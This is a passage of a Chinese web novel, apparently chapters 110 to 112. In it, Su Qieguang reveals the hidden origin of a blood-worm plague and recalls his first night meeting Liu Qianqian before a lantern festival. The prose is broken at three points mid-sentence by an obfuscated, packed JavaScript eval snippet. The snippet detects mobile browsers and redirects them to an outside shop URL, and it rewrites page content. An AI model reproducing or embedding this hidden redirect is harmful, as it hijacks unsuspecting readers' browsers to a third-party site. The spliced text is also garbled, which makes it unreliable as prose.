他这样的表情,让萧喜熟悉的不得了,因为,这样寡淡而又在普通孩童身上显得颇为违和的、成熟的神色,在从前,还是在卿卿的面孔上更显服帖。而如今,这样的表情换到了苏且光的面目上,是合适的,比卿卿还合适,神色寡淡依旧、成熟依旧,而那股违和感却顿然消失。 苏且光的话勾起了萧喜的记忆。想当时,那般自信甚至格外泼辣的她,曾在他面前班门弄斧,画面如冲垮堤坝的大水,淹得她既窘迫又猝不及防。而且,她也没有忘记那段日子里,她使唤那时还是卿卿的苏且光可不少。 如此,苏且光这话就不可以视作单纯的寒暄了。至少,在萧喜眼里是这样的。 于是萧喜尴尬地移开了眼睛,一言不发。 气氛一度陷入沉默。 最终还是苏且光自己请了话头,他微微敛眸,似乎是在故意隐瞒什么心事,他幽幽说道:“事情已然了却,封印之剑与引魂针之事你们也已经清楚,看来我是没有什么用武之地了。” 朗月却凉凉扬唇,语意深沉,哂道:“时间本就不多,我们便早日省掉这些无关紧要的寒暄了吧。” 萧喜默默瞟了他一眼,总觉得,现在的他情绪的确很不对劲,带着莫名的火气,偏偏一分不差地指向苏且光。 尽管朗月自我维系的那份表面上的分界感,正试图将这样的情绪抹平棱角,好让旁人不会察觉。可是,他越是刻意,萧喜的心思便会越敏感一分。有些事情相由心生,是瞒不住的,反而越是隐瞒越是容易露出马脚。 为什么会有这样的场面?难道,他们之前见过、认识过? 萧喜想着想着,却又不敢想下去了。 因为,事实若真的如此,那么朗月之前刻意躲避这段关系到底又是为了什么?为什么要刻意躲避?他没必要在自己和芍七的面前做这些事情,难道……他要避的人不是别人,还是她萧喜吗?一时间,她有些错乱,因为她忽然就读不懂朗月了,这个人的心思到底是太过深不见底了。 她又默默垂眸瞥了一眼自己那只与他牵过的手,层无数次引人遐思,这本是关系走向亲近的象征,却让现在的她感到莫名心寒。 因为,她觉得面前的人与她维系的不过是表面的关系,是一度伪装的太平景象,而她差一点就要踩进这个虚幻的陷阱,也仅仅是差一点,她隐约察觉到了对方的心貌似是一直拒外的。 她是个外人,无法看清他的真实面貌,更不提走近他的心。而他,却在一步步地试探她的心。 粉饰的太平,于她而言,带着不可言语的威力,是欺骗和轻蔑。 她不禁收回手掌,脚步下意识地退后,似乎是在极力逃脱这样的陷阱,与对方保持“真正合适”的距离。 苏且光与朗月这头已经进入了主题。 朗月正色道:“为什么幕后之人会盯上你,你究竟都知道些什么?” 苏且光闻言,神色也渐渐收敛起来,比起原先带着些客套的冷面,现在的他多了不怒自威的魄力。 “因为,我发现了血蠕真正的由头。还记得六年前的那场劫难么?其中最为著名的便是庆阳镇大劫,可是,那时光,整个大周几乎都遭过难,当初朝廷不得已与仙机门联手,从而隐瞒妖物的存在,以此镇定民心。” 萧喜越听,神色便越沉,说道:“谎言。当年血蠕大劫里,毫无妖气痕迹。血蠕不可能是妖物所为,朝廷如此做法便是在引导民心,挑起人妖对立。” 多么熟悉,今夜她进入剑中幻境看到的两百多年前的光景,同样是“人妖对立”,少五、少七、那些死于血蠕的无辜百姓们,还有无端死于人妖对立纷争中的无辜妖族们……无一不被背后心怀不轨之人当作了挡箭牌和冲锋号,无一不是可怜者。其中……又更不乏如少五那般,渐渐从可怜者走向可恨者队列中的可怜人物。 萧喜这番话,朗月早已不是第一次听到。 苏且光接在萧喜沉重的话语后,继续说道:“那场所谓的被迫向天下散播的谎言对于朝廷来说,只是想要稳住天下民心的难言之隐罢了。至于人妖对立,呵,朝廷权臣,乃至于那至尊的真龙天子都不过是凡人,他们并不理解这些事情,怎会费劲心思挑起人妖对立?” 听到此处,朗月猛然抬眸,“你的意思是,挑起人妖对立并非朝廷本意,反而是仙机门利用了朝廷畏惧血蠕、想要稳住天下民心的心思,从而借刀杀人?” 苏且光意味深长地扫了朗月一眼,并不说话。 此时,沉默并非是金,反而是戳人心间的金刚利刃。 “师父同我的预感当真不错……” 萧喜的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260099|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐渐迷茫,仿佛已经将灵魂抽空,放置到了过去的时光里,好好想起当时说过和想过的话语—— “曾经我抱怨过为何你们仙机门的人会放任血蠕扩张许久……为何不能早一些到来,或许大家就不会死了。但是后来我出走四方,发现世上有无数的庆阳镇,人们都说四方有难,而仙机门的力量有限,根本做不到力保全健,能灭了蠕就谢天谢地了,让我不必抱怨。” “但我却没想到,当时参与此事的也有朝廷,既然如此,力量何以得不到保证?那么仙机门为何依旧来迟?陈老先生也说过,自从出事后,朝廷夜色装作什么都不知道的模样,甚至也不许让世人知晓。这让我不禁怀疑,大家是不是有意放任……” …… 放空了灵魂的人不止是萧喜,朗月亦然如此,他的耳边再度想起上个月在庆阳镇的那个夜晚,青灯对他所说过的话,掷地有声,震耳欲聋—— “仙机门不会告诉你,血蠕大劫永远没有尽头。而我会告诉你,沧淩城,就是第二个庆阳镇。我也会告诉你,接下来还会有更多的庆阳镇,哪怕是盛京也不会逃过它的魔掌。你们仙机门只是治标不治本,就得了天下一时,却救不了天下一世。” 还有不久前,芍七临走前对他说的那些话—— “血蠕不会止息,刹摩即将出世,就在盛京。” 这些话分明都出自不同人之口,却有着前所未有的契合度。 苏且光再度讲话:“朗月,请你好好回想六年前的事情。” 六年前的事情—— 庆阳镇事情了却后,大周天下各地血蠕爆发的形势,也渐渐走向尾声,直到销声匿迹,时间短促,这些事情在无声无息间,就戛然而止了。愚昧无知的百姓只以为是仙机门神力无边,打跑了瘟神,从此以后,仙机门的名声一炮打响,让别的修真门派望尘莫及。 也就是从六年前开始,抹杀妖物的事态进一步加剧,成了彰显正义的象征,更是仙机门义不容辞的责任。这样的走向,与起源于五百年前的两族杀戮简直一模一样,而那时,刚巧不巧也是由仙机门领的头。 那么六年前的事情,不就是完美再现老祖宗当年奠定威严的历史么?好叫人妖对立的念头百年不衰,让历史不再褪色。真是处心积虑。 “我……明白。”朗月半晌后,也只是面露难色地吐了短短一句话。 “事情便就是这般巧合,更是在愈演愈烈。六年前的劫难里,就算妖物不作为,因为死去的都是凡人,这只锅横竖都得扣到妖族的名头上。 而今,沧凌城封印动摇,血蠕再度现世,却换了作案人,而这个作案人,不偏不倚就是妖物,幕后黑手这是拿定了人心,要坐实了六年前妖族那莫须有的罪名。 这些是我后来才发觉的。 死前数月,我作为苏府嫡长子,本就与封□□有灵犀,封印动摇令我不安,当时南夷发难,我便利用此次机会,自请南下出兵支援。我借探察南境地形军力为由头,提前了足有三个月的光景,隐却名字,偷偷跑到沧凌城查探了一番。那时光,沧凌城便已经有了血蠕气息,只是微弱到近乎难以察觉,其中带着妖气,与封印动摇时散发的气息近乎一致。 从那以后,我便知晓六年前血蠕大劫的源头,与此次沧凌城的源头完全不同。 但我没有想到的是,封印加剧动摇的情况,和我的死期,会来得如此迅速,南夷战场失利,在物资紧缺的情况下,我不得已回到苏府养伤,却未想到对手如此狡猾,竟是利用被血蠕邪化的亲近之人,杀死了我。我此般是自入贼窝了。” 110. 窃光难觅(4) 说及自己的死因,苏且光的态度依旧平静,言语之间毫无所谓的魂魄怨灵之气。 便是这样的苏且光,又何以沦为阴魂不散的怨灵?除去对于死亡的畏惧和不肯释然,致使他落到如此田地的原因,若全然是他放不下家国之事,或者是死前他发现血蠕源头的秘密,从而对封印之事忧心。未免也太过牵强了。 前者明显在苏且光话里只是占据一定的分量,并非全然。 后者要是发生在封印和少五毁掉之前,还有一定值得相信的余地,但而今封印破裂,他的怨念当真与此紧紧相系,不应该早早散去?为何还会被双玉视为未散亡魂,又被唤回? 苏且光的话里还有一些字眼,莫名勾去了萧喜的注意力——“隐却名字”。 难道就是那个时候,他将苏且光这个名字化作了柳芊芊口中念念叨叨的“苏元卿”?直觉告诉萧喜,这两人关系匪浅。 据萧喜的观察,柳芊芊喜爱以人名末端最后一个字,加以叠词修饰而作为称呼,这些叠词更是仅限于用在对她来说极为重要亲近之人的身上。譬如陈织梦在她的口中便成为了“梦梦”,那么苏元卿怎么就不能成为“卿卿”呢?那时候,萧喜刚好是抓住了这个细节,才敢在苏元卿和鬼怪卿卿之间拉起一条直接的关系线。 萧喜没敢再耽搁时间,直接先吐为快道:“你方才说,你是提前了足有三个月的时间来了沧凌城,还隐却了名字。那时候你的名字是念作‘苏元卿’吧?所以,你在三个月前就结识了柳芊芊。” 仅仅是“柳芊芊”这三个字便让苏且光淡漠沉敛的眉目变得柔和了起来,气质短时间的转变令朗月和萧喜两个人都没来得及反应。 苏且光眸色暖意渐升,却又转瞬即逝。 直到最后再度恢复平静,方才他那些举动像是从未发生过一样。 苏且光讷言:“你说得不错。那时光,我故意化作童子,并名为卿卿,便是要故意同苏元卿这个名字弄出关系来。你们果然发现了其中蹊跷,当真没有令我失望。” “你们……究竟都发生了些什么?为何柳芊芊要那般苦苦寻你?你既然不愿见她,或是因为死去而无法见她,又为什么要千方百计地救她?她喜欢你,你对她亦有情,对么?不然,如今封印破了,沧凌城百姓如你所愿活了下来,你又并不关心自己的死因,你的怨气为何迟迟不散?你因柳芊芊而困,对么?” 萧喜控制不住自己想要追问的心。 朗月被萧喜的冲动行事吓了吓,却也什么都不说。因为,柳芊芊的死,对她来说,还是有些难以释怀的,尽管她在表面上并不透露。 苏且光目光微微抬起,看向萧喜,带着上下打量的意味的眼中,闪过了一丝温情,也是转瞬即逝。 “你年纪不大,想法倒是不少,”苏且光意识到萧喜已经被自己那带着打量意味的眼神盯得不自在了,便随意拿了一句话带过,好解了对方的尴尬。 “如你所言,我是喜欢她。但我却绝非是愿意一直圄于情爱的人,我的确心系柳芊芊以致于死后不肯下地狱,却也绝非是可以拿一句‘我爱她到死去活来’这样的话轻飘飘地带过的。” “什……么……”萧喜现在脑子发热,有些没反应过来。 “在最开始——” 在故事的最开始,苏且光化名苏元卿南下沧凌城,因那时光察觉到城中异样——一股难以形容的、带着妖气的气息微微散在城中。这股气息灵动狡猾,试图蒙混过关,以至于绝大部分修真门派的大人物都对此毫无察觉。如若不是封印动摇,就是苏且光也会和他们一样如此觉得。 初来沧凌城时,苏且光最开始在意和怀疑的自然不是这些气息,而是封印。他曾经在一次深夜偷偷潜入苏府祠堂,却又发现封印完好无损,与自己远在北部边境时感知到的异样完全不同。如今所见封印动摇之势微不可闻,他想上天留给他的时间一定很长,短时间内封印并不会有什么大反应。 也就是这个时候令他降低了警惕心,导致自己千算万算都没有想到,后来自己的死期来得如此之快,又如此之巧。 那夜苏府散着微薄的雾气,不知是何颜色,被黑夜盖在下面,熟能分清? 正因为那次深夜封印的完好,叫苏且光没有在意别的细节,譬如——微薄的雾气剥夺了他的部分感知力,封印散发的那股微妙的气息不会被他察觉,而这些气息刚巧不巧便是他白日里闻到的那股参和着妖气的诡异气息。 因此,苏且光在最开始并没有意识到,封印便是这股气息的源头。 他不愿留在苏府太久,以免被夜里起身的下人们见了身影。 事了后,他径自离府,动作虽然麻利轻巧,但看起来行径还是偷偷摸摸的,刚巧不巧被刚刚溜出柳府的柳芊芊瞧见了。 苏且光一身夜行衣,模样遮遮掩掩,行事偷偷摸摸,如何不叫人心起疑心?说实话,苏且光的身段忽然在半夜里跳出来,首先被人联想的并非是小小的偷窃贼,反而是手段狠烈的采花大盗或是杀人不眨眼的刺客。 柳芊芊自诩身怀不菲武功,但见到这样的人还是会下意识胆颤。 她一弱女子半夜在外,身上除了一把贴身的蝴蝶刀外没有什么靠谱的防身之物,要如何对付这样一个贼人?再说,她方才在墙下,那黑衣人“哗”的一声就突然从自己头顶上跳出来,即便不是贼人,那也会将人吓煞! “啊……唔唔唔!” 柳芊芊一个“啊”的音节都还没出口,只露出了半截虚音的时候,她就被身着黑衣的苏且光捂住了嘴巴,紧得简直要将她活生生憋死。 苏且光没有给柳芊芊任何反击的机会,在他眼里,柳芊芊那不错的武功就是三脚猫功夫,他拎柳芊芊就和拎鸡崽一样,没什么区别。实力悬殊下,柳芊芊只好任由对方摆布。 一路上苏且光闭口不言,柳芊芊被死死捂着嘴,想说话,但有口难开。 最后苏且光松劲的时候,他们两个人已经远离了半夜寂静无声的城街。他们站在城郊的一堆杂草之中,隔水望去,可以远远看到对面岸城里大户人家高耸檐下晃着明火的盏盏风灯,映入碧水,水下似藏了座海市蜃楼。 沧凌城繁华百态,最喜灯火文化,每日每夜皆有灯火高挂,只是今夜的灯火格外辉煌。因为明日便是灯会了,有钱的人家会早早挂上明灯,迎接明日的灯会盛典。 柳芊芊虽为城中郡守柳浚的嫡女,但因生母早逝、庶母上位、父亲偏心,她自幼便不得宠,所谓的“金枝玉叶大小姐”不过都是名存实亡罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272010|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从小没受过什么大家闺秀的礼教,又因为父亲长时间的冷落偏心,和庶弟庶妹长时间的打压,柳芊芊心底到底是比别的孩子叛逆得早,也懂事得多。幼时家中庶母曾长时间迷恋戏曲,于是父亲便常常请戏班子到家中唱戏耍枪,久而久之,柳芊芊也深受其影响,迷恋上了武艺,尤爱蝴蝶刀、袖中箭之类的暗器,所以她便常常暗里向戏班子里的班主求学,加以长时间的苦练,她终究得了些能傍身的本事。 父亲不爱她,又看她性子越来越顽劣,觉得远远不如她出落得愈发明丽玲珑的庶妹柳玉,更觉着柳芊芊这样的女儿带出去简直伤了他的面子,所以她父亲平日里虽然不管她,但一到大日子便要限制了她的自由,免得被外人瞧见这不争气的丫头,继而牵扯出柳浚宠妾灭妻的旧账。 如明日这般沧凌城盛大的灯会,柳芊芊便被关在了家中。她活了将近二十年,这样的岁数在城中人们口中都是老姑娘了,而沧凌城每年的灯会至少也有两三次,她却除了幼时娘亲还在的时候逛过一次外,便再没有看过了。 灯会的模样……还有娘亲的模样,她都快记不清了。 而今,柳芊芊一夜冲动,在家中侍卫家仆降低警惕心的时候耍了些小聪明,终于逃了出来。她本是高兴的,却没有想到没高兴多久就遇上了干不过的歹徒,她想,自己的命怎么这么苦啊…… 在苏且光松开她的时候,她完全没有心思再思考为何歹徒并未伤害她的事情,她只觉得自己已是穷途末路,情绪上头,悲观的念头一发不可收拾。她看见岸城的灯火高悬,那般乐景只衬得她的内心阴暗癫狂,简直是覆水难收。 她哭,甚至还想随心所欲闹一次,她憋屈了二十年,凭什么不能快活一次?! 苏且光看着背对着他,而一直无动于衷的柳芊芊,忽觉得气氛不对,柳芊芊的背影给他的感觉竟不比上战场的那些视死如归的将士们好到哪里去。他不明就里,却也不愿多停留。 他刚要拔腿离开,就忽然被柳芊芊拽着了胳膊,她抓人的力气很大,完全不似普通的女子。 四月春风起,夜也似良宵。苏且光身上的夜行衣不过仅仅是一件薄衫,柳芊芊的力道叫她的指甲也狠狠掐进苏且光的肉里,苏且光一时吃痛,情绪厌烦之下完全不顾对方是女子,手臂一挥,就给柳芊芊甩到了地上。 事后,苏且光才意识到自己行为失礼,他是自诩君子之人,再怎么样也不会动手打女人。 他头一次觉得世事荒谬,又不知所措,也头一次理解了那句“女人不好惹”的千古诀言。 苏且光怀着愧疚之心微微弯下脊背想去扶柳芊芊起来,可是还没将手伸出去,自己的大腿却又被柳芊芊缠上。 吃痛的力度再次深入苏且光的躯体,他牙尖打了颤头,却不敢也不好意思再一脚将此女踢出去。 他狠狠拧眉,却还要佯装好声好气说话的模样。幸好有夜行衣遮住眉眼,遮住了他扭曲狰狞的面孔,不太丟面子。 “你到底想要作甚?” 他耐下性子,弯着脊背对柳芊芊冷冷说道。 “我不许你……走!” 柳芊芊哭得像个孩子,委屈到了极点便就地撒泼,同她平日里的那副倔强刚毅的模样毫不搭界。 111. 窃光难觅(5) 呵呵,有意思…… 苏且光扬了扬声调,似乎是在刻意将自己伪装成不正经的劫匪,他说道:“怎么,你现在倒是不怕我害你了?” “你要是要害我便不会拖到现在了。” 苏且光的笑点被莫名挑起,他说道:“你既然知道我不会害你,那为何要哭地这般惨烈?” “怎么,我想哭就哭,连你都要管束我对么?” “连我?呵呵,之前倒是有人连你哭泣都要管束?” “你别老是钻我的话空子!” 苏且光心头一晃,不知怎的,嘴里就冒出了熟悉的话术:“怎么,我想钻就钻,连你都要管束我对么?” 柳芊芊一怔,又哭又不服气地仰面看他,红着眼睛可怜兮兮地道:“你学我说话?” “你不许学!”她紧接着后面哭唧唧地道。 “那我也不听你的话,除非你松手。” “那样你会走。” “我不走,”苏且光觉得头疼,又补上一句,“君子一言,驷马难追。” “我看你都当匪徒了,还敢自诩君子?”不知道什么时候,柳芊芊就已经收拾好了自己的情绪,说话语气平稳了很多,先前还只会委委屈屈地讲话,现在居然能够冷嘲热讽了。 虽然她话是这么说,但却依旧松开了自己抱人大腿的手。看来她是清醒了脑子,意识到了自己行为的不妥,她拍了拍衣裳,散却了灰尘,轻而易举地就将方才被自己狼狈丢弃的颜面拾了回去,面无表情,似乎刚刚一切什么都没有发生的模样。 若不是灯火阑珊下照得她眸中眼波流转、湿气氤氲,她那副安然无恙的模样怕是连苏且光都能骗过了。 “你这是承认我是君子了?”苏且光抱臂而立,微微垂下首看向柳芊芊。 “我说了,不准你钻我话的空子。”柳芊芊眉头蹙起。 苏且光点了点头,面对柳芊芊这般不甘示弱的模样,主动甘拜下风了去。 “我并非劫匪,刚刚对你无礼也是情势所迫,半夜你若是忽然惊叫,恐会引起不必要的麻烦。所以,不管刚刚发生了什么,我都希望你能烂在肚子里,莫要声张,为了我,更是为了你自己。”苏且光重新严肃了起来。 柳芊芊顺着话意,嗅到了一丝好拿捏的气息。 她其实知道对方在担心什么,无非就是害怕她到外面声张昨晚所见之事么?可是,夜里那处高墙脚下黑灯瞎火的,她哪里注意到对方出入之地是什么地方? 这黑衣人的疑心未免也太重了些。 但这黑衣人的确没有贼心,也毫无要害她的意思。若是对方真要害她,那估计早就杀人封口了,何须等到现在还要留她这么个隐患在这儿? 那么,她便无需顾忌其他,只管抓人把柄便是了。 管他出没的是个什么样的地方,反正她都不认识,现下,抓人把柄需要酝酿气候,话到了嘴边尽管承认自己认识便好了!得让对方觉得自己是个威胁才行。 柳芊芊心思诡谲,脑中山路十八转,短短时间内把各种鬼胎都算了个尽。 “行啊,但是我有条件。” “你说。” “明日,陪我逛灯会吧。” 苏且光差点以为自己的耳朵出了毛病:“什……么?” “实不相瞒,今夜本小姐是逃出来的,想着可以偷偷出来看看灯会的风景。但我又想到,不出明日辰时,我定会被抓回府去。可是我不想回去,我身边要是有你这个高手在,我肯定能从早逛到晚!” “我可以给你无数财富。”苏且光知道这样的要求太过荒唐,便另岔开话。 “我不缺钱。” 苏且光有些犹豫,柳芊芊看出了他的心思,她灵机一动胡乱扯了句胡话出来吓唬他:“你若是不答应,我明日就出去大肆宣扬你的事。” 苏且光也不是只省油的灯,他秉承着反将一军的行事风格,开口说道:“或许你压根什么都不知道,只是看出来我不会动你,你便想要借此机会拿捏我呢?” 柳芊芊见被他戳穿,眼神忽然开始飘忽。 苏且光瞧她这副吃瘪的模样,嘴角莫名上扬,觉得好笑。 “你还当真是不知道。” “还……当真?你刚刚是在激我?!”柳芊芊满脸不可置信。 苏且光直回身子,眼睛不由自主地朝天际看,发出阵阵轻笑。 “走了。” 他一个利索地转身,将一阵风甩到了柳芊芊的面上,青丝被拂乱,微微扑散到她的眉眼上,掩住了她眸色里的失神和孤寞。 “你不是说要去看灯会么?现在自己要反悔了?” 苏且光走了一会儿却又转回身子,抬声唤了唤。 柳芊芊以为对方看穿了她的谎言便绝不会由着她再胡搅蛮缠,刚刚对方口中的“走了”二字落到她的耳里,便是告别的尾声。 只是万万没有想到,对方就算看穿她的鬼点子,还愿意答应她。莫非,这人当真要想办法害她? 柳芊芊的疑心全被苏且光看在眼里。 “你是在怕我这般反常,定会害你?” 柳芊芊猛然抬眸,毫不示弱道:“谁怕?!我会武功,你若是害我,绝落不得好下场!再者,我从小便知,天底下没有白来的好运道,我若是贪图明日的享乐,那么就得担着今日碰上你的风险。这点风险,于我而言恰恰担得起!” 苏且光定了定,他只是觉得奇怪,还是说不上来的奇怪。因为,他实在不明白像她这样的富贵姑娘家的是如何能说出这般语意沉重的话的。 他又想到先前柳芊芊说她是逃出来的,只为看一场灯会,而且毫不在意自己身边留有劫匪的隐患。起初,他以为这姑娘平日是娇惯坏了才显得做事如此蛮不讲理,说法也如此缺乏逻辑。如今看来,倒是完全不合猜想了。 苏且光此时才反应过来,柳芊芊这女子哪里过上过娇惯的日子,反而,从前的日子只会过得很不好吧。 他收了收笑意,装作什么都没发生的模样,对柳芊芊说道:“时间不早了,你若是再不走,那我就真的要跑路了。” “你当真这般好心?你是不是想要从我这儿讨些好处?”柳芊芊踟蹰不前,还是问了最后一句。 “并非无偿。你对我来说,有意义。所以,你倒也不必担心我会害你。”苏且光凝眸道。 他这话说得不假。 对于封印之事,他心中还存疑虑。虽然他没有发现封印松动的迹象,却还是十分在意城中弥漫着的那股微妙的、参着妖气的诡异之气,所以他有过想要探寻气息源头的计划。 按照柳芊芊所说,明日是灯会,那么城中必然异常繁华、人流不止,按道理来说,人多时恰好是那股气息作乱的最佳时机。倘若能抓住明日的机会,说不准就能省些气力,早日探得源头了。 可是,沧凌城这个地方对于苏且光来说早已陌生,人生地不熟的情况下,事情远要比想象中苦难得多。 此时柳芊芊她主动提出要他陪同逛完明日的灯会,那这何尝不是给他添了个引路的好帮手? 真是绝妙的机会。 所以苏且光的那句自然而然脱口出的“你对我来说,有意义”,于他而言,便是“你对我来说,有利用价值”的意思。 只是,柳芊芊不懂得他的心思,更不理解自己在对方眼里是个怎样的人。所以苏且光那句轻而易举便脱口的话,落到她的耳里竟然有着说不清的歧义,一个陌生的男子在深夜无人的情况下,对着女子说出这样的话,这叫柳芊芊如何不在意? 于是,柳芊芊的大半边脸蛋“哗”一下就烧红了起来。 夜色深沉,可掩人面颜色。苏且光现下心思走偏,完全没有注意到柳芊芊面上的窘然和羞赧。 …… 次日天刚蒙蒙亮,苏且光就已经收拾好衣物起了身。他脱去一袭黑衣,换上了一袭玄色包边的墨绿色长袍,他故意没有挑平日起居时所穿的精致衣裳,而是挑了一件料子略显逊色的衣裳,希望可以借助衣着将他修饰成市井里的寻常百姓。 昨日深夜,他与那名奇女子同程而归,为了省力,他们便随便在城郊找了座废弃的客栈住下。那女子也是十分心大,压根不在意自己与陌生男子同宿一处的事。 后来等天明之后,苏且光推开屋门默默走过隔壁屋子,瞥见柳芊芊正襟危坐的影子时,方知这女子哪里是心大,那都是明面上做给他看的。这女子可是昨夜一宿没睡,忌惮他得很。 这般倔脾气,他还是头一次在女人身上看到。 苏且光轻轻扣了扣柳芊芊的房门,还故作一副什么也不知道模样,问道:“起了么?” 屋子里的人影一震,忙装模作样起来:“快了快了!你……你起这么早的啊?” 苏且光配合着她继续演好这出戏,并不急着将她拆穿。 这座废弃的客栈不算太老旧,上下两楼都坚固得很,楼上多是客房,楼下便是大厅,大厅中央摆了好几道大桌,上面积了不少灰尘。 因为不知道要等多久,苏且光顾忌着君子之礼,非礼勿视,索性下了楼,默默拂了桌案上一角的灰尘,坐下发呆。 没过多久,柳芊芊急匆匆地赶下了楼,脚步声劈里啪啦的,扬了满楼梯的灰尘,她匆忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292268|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的画面活像是在火场里逃生一般。 她自己也被这波乱尘弄得呛来呛去,胡乱挥了挥袖子后,她才勉强在灰尘弥散的前方看到一角身影。 年轻的男子侧着面庞,眉眼清毅,鼻梁高挺,薄唇轻抿,是如此阳刚俊朗的男儿郎。他若有所思地看着前方,嘴角却绽着意味不明的笑。 难道是在嘲笑她吗?柳芊芊愣了愣。 待灰尘全然散去,柳芊芊也已经站到了苏且光的对面,她万分紧张,嘴里嗫嚅半晌,却还只是结结巴巴问出这样一句话来:“你是昨夜的那个黑衣人?” 苏且光唇角褪去笑意,抬眸看了看柳芊芊,淡淡“嗯”了一声。 柳芊芊其实长得不赖,清秀的面孔偏生带着一股凌厉刚强之气,倒是特殊,也刚巧应了她的性子。只是现在的她看起来气色欠佳,每只眼睛下面都耷拉着一块青乌。 暂时寻不到话题的苏且光随性转回眸光,只是提道:“昨晚没睡好?” 柳芊芊哑然,她忽然意识到自己一时大意,竟然忘记了伪装。 久久无声下,徒有她默默摩挲衣物的动静。 “你这姑娘倒是倔强地厉害,嘴上说着不怕,却是因我一整晚不敢安眠。”苏且光的笑点又被挑起。 柳芊芊一时语塞,脸上憋得通红。 “谁说我不敢的?我只是昨晚……我就是认床,人生地不熟的,我睡不着!”她索性插科打诨了一通。 苏且光微微叹了一口气:“你啊,真是太倔。” 说实话,柳芊芊昨晚抱人大腿不放人走的事情是她忽然情绪上头导致的恶果,和理智毫无关系。 再后来等她自己清醒之后,被对方的话一激,在意识到方才行径荒唐的情况下又拉不下脸来,这才脑子一热,顺着那通荒唐劲儿继续胡来的……不然,若是摆在平日,她的胆量还不足以敢支撑她同一个武功远高于她之上的人同行乃至同宿。 虽然这人嘴上口口声声说不会害她,行为上暂时没有破绽,但对于疑心颇重的柳芊芊来说,都不足以弱化危险的存在感。 所以,昨晚她是真的心存警惕之心,没有肯睡下。 柳芊芊想到了重要之处,便也觉得这早上的时间耽搁不得,她说道:“我爹定然早就在全城搜寻我了,趁马上早市初开,你快些陪我去买顶帷帽。届时,我的帷帽掩住外貌,你再陪在我身旁,我爹就寻不到我身上了。” 苏且光越听越觉得有意思,他轻挑眉梢,俏声说道:“看来我真正的作用不是替你打杀防人,而是装成你的小情人儿?” “不过四月的沧凌城温度可不饶人,你顶着只闷气的帷帽岂不是更叫人怀疑?” “这你就别担心了,”说着说着,柳芊芊竟觉得好笑起来,完全放下之前身上的那股端劲儿,她此时的语气颇为自然,甚至有些得意。 “灯节于沧凌城来说也有着同乞巧节一样的意义,所以待会儿市井上的情人眷侣只会数不胜数,人多眼杂啊。再者,现在就是要打死我爹,他都不会信我这样的女儿还能找到要我的郎君的,更别提找到的是你这样的极品了。” 听到“极品”二字的苏且光对此浑不在意,反倒是专注于她口中对于亲爹的形容,他淡淡扯了扯嘴角,于不经意间问出口来:“打死你爹这般形容……看来,你这个女儿在府中不受宠?不然,怎么连灯节这样的日子都讨不来游玩的机遇?你是家中庶女?” 柳芊芊听闻家事,虽然并不抗拒,但心里却很不好受,她苦涩一笑:“大错特错,我是家中唯一的嫡女。” “对了,扯来扯去,我们还没有正式认识一趟呢。看你不像个坏人,我就勉为其难地告诉你本小姐的名讳了,我叫柳芊芊,城中小小郡守柳浚的嫡女。” “柳浚?倒是有所耳闻,沧凌城的郡守怎可以小居之?”苏且光跟道。 柳芊芊倒是没说话,眉眼一斜,竟是翻了给白眼儿。 “你还没说你是谁呢,小匪徒。” 苏且光倒是不怒,他侧过脸去,不知在想什么,待他重新转回脸庞时,脸上挂了一抹格外客套的笑容,这种笑容蕴含的笑意仅限于嘴角,眉眼里却荡然无存,是典型的皮笑肉不笑。 “苏元卿,爱劫富济贫的江湖人。” 柳芊芊心思并不细致,故而没有察觉到对方笑意里隐藏的边界感。只是一副茅塞顿开的模样,讲道:“怪不得你昨晚要爬那大户人家的高墙啊,江湖人的话,倒是担得起这幅身手。” 苏且光跟在后面陪笑了两声,后而才慢慢拉回脸来,一边朝外头走一边说道:“现在启程,估计刚好赶上早市开市,走吧。” 112. 窃光难觅(6) 早市开市,摊子多排列在小巷子里,四月的桃枝缀着半开半合的花骨朵,斜斜挂在矮墙边,偶尔会摇落下几片花瓣,撒在巷子的角落里或是摊子口的铺面上。 市场上摆着七七八八的物件,其中也有今日最受人瞩目的各种花灯,琳琅满目的铺子在微微晨光的照耀下,反射着令人陶醉的奇异光泽。 柳芊芊笑靥如花,摇曳的衣裙在声声叫卖中穿梭不止。最终相中了一顶桃色的帷帽,她爽快地将其戴上了头,回眸用跳脱的声线问身后的苏且光:“怎么样,好看吗?” 苏且光背着手看着她,忍了片刻却还是破了功,忍俊不禁道:“你戴反了。” 柳芊芊顿了顿,她一把掀起面上的帷幔,刚要反驳,却刚好瞥见对方自然的笑颜。岁月仿若静止,将她的闹脾气也逼了回去,叫她放任自己那看得入神的眼盯在苏且光的身上,毫不客气。 